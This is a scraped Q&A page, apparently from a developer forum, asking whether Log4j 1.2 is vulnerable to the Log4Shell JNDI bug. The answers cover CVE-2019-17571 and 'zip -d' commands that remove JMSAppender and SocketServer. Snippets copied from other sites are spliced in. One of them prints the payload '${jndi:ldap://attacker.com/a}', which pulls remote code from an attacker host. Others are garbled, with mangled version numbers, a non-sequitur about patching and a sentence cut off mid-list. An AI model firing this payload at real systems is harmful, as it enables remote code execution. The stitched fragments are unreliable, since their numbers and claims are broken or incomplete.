Menu
With regard to the Log4j JNDI remote code execution vulnerability that has been identified CVE-2021-44228 - (also see references) - I wondered if Log4j-v1.2 is also impacted, but the closest I got from source code review is the JMS-Appender.
The question is, while the posts on the Internet indicate that Log4j 1.2 is also vulnerable, I am not able to find the relevant source code for it.
Am I missing something that others have identified?
Log4j 1.2 appears to have a vulnerability in the socket-server class, but my understanding is that it needs to be enabled in the first place for it to be applicable and hence is not a passive threat unlike the JNDI-lookup vulnerability which the one identified appears to be.
Is my understanding - that Log4j v1.2 - is not vulnerable to the jndi-remote-code execution bug correct?
Apache Log4j Security Vulnerabilities
Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet
Worst Apache Log4j RCE Zero day Dropped on Internet
‘Log4Shell’ vulnerability poses critical threat to applications using ‘ubiquitous’ Java logging package Apache Log4j
This blog post from Cloudflare also indicates the same point as from AKX....that it was introduced from Log4j 2!
Update #1 - A fork of the (now-retired) apache-log4j-1.2.x with patch fixes for few vulnerabilities identified in the older library is now available (from the original log4j author). The site is https://reload4j.qos.ch/. As of 21-Jan-2022 version 1.2.18.2 has been released. Vulnerabilities addressed to date include those pertaining to JMSAppender, SocketServer and Chainsaw vulnerabilities. Note that I am simply relaying this information. Have not verified the fixes from my end. Please refer the link for additional details.
888
Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data. This affects Log4j versions up to 1.2 up to 1.2. 17.
Log4Shell vulnerability has a 10 in the CVSS score. Hence, all the issues in Log4j are not patched yet. But it's a chance that you or your third-party vendor might be using Log4j, which you have used in your application.
Apache Log4j2 versions from 2.0-beta7 to 2.17. 0 (excluding security fix releases 2.3. 2 and 2.12. 4) are vulnerable to a remote code execution attack.
December 20, 2021 Log4j 2.17 has been released to address a Denial of Service (DoS) vulnerability found in v2. 16 and earlier. Log4j 2.16 and earlier does not always protect from infinite recursion in lookup evaluation, which can lead to DoS attacks. This is considered a High (7.5) vulnerability on the CVSS scale.
The JNDI feature was added into Log4j 2.0-beta9. Log4j 1.x thus does not have the vulnerable code. Turns out log4j 1 could be vulnerable in certain configurations: github.com/apache/logging-log4j2/pull/… To add further confusion RHEL are now stating that some of their products have an implementation using 1.2 which are vulnerable.
Log4Shell is a critical cybersecurity vulnerability on the Log4j library, which affects the core functioning of the library. It allows an attacker to control an internet-connected device or application by performing remote code execution. When they are successful at it, they can:
The vulnerability allows attackers to remote code execution and the payload string looks like “$ {jndi:ldap://attacker.com/a}”. Lots of organization-affected services include Cloudfare, apple iCloud, Minecraft: java edition, stream, Tencent QQ, and Twitter. What are log4j and lookups? Apache log4j is a java-based logging utility.
Is log4j vulnerable? Sample code to test the vulnerability As we have seen in the news, a new zero-day exploit has been reported against the popular Log4J2 library which can allow an attacker to remotely execute code. In our application, we are still using the following log4j dependency.
The JNDI feature was added into Log4j 2.0-beta9.
Log4j 1.x thus does not have the vulnerable code.
76
While not affected by the exact same Log4Shell issue, the Apache Log4j team recommends to remove JMSAppender and SocketServer, which has a vulnerability in CVE-2019-17571, from your JAR files.
You can use the zip command to remove the affected classes. Replace the filename/version with yours:
zip -d log4j-1.2.16.jar org/apache/log4j/net/JMSAppender.class
zip -d log4j-1.2.16.jar org/apache/log4j/net/SocketServer.class
You can look through through the files in your zip using less and grep, e.g. less log4j-1.2.16.jar | grep JMSAppender
That being said, Apache recommends that you upgrade to the 2.x version if possible. According to their security page:
Please note that Log4j 1.x has reached end of life and is no longer supported. Vulnerabilities reported after August 2015 against Log4j 1.x were not checked and will not be fixed. Users should upgrade to Log4j 2 to obtain security fixes.
33
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With
